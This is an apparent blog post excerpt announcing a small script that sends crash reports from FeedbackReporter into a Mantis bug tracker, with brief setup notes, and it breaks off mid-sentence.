FeedbackReporter and Mantis integration
I’ve just written a small script to store reports generated by FeedbackReporter on a Mantis system. It should come handy to keep track of your application crashes (crash? uh? My apps never crash! :-)) You can download it here. Simply extract it on your webserver and edit config.php to adjust your settings. It can work …
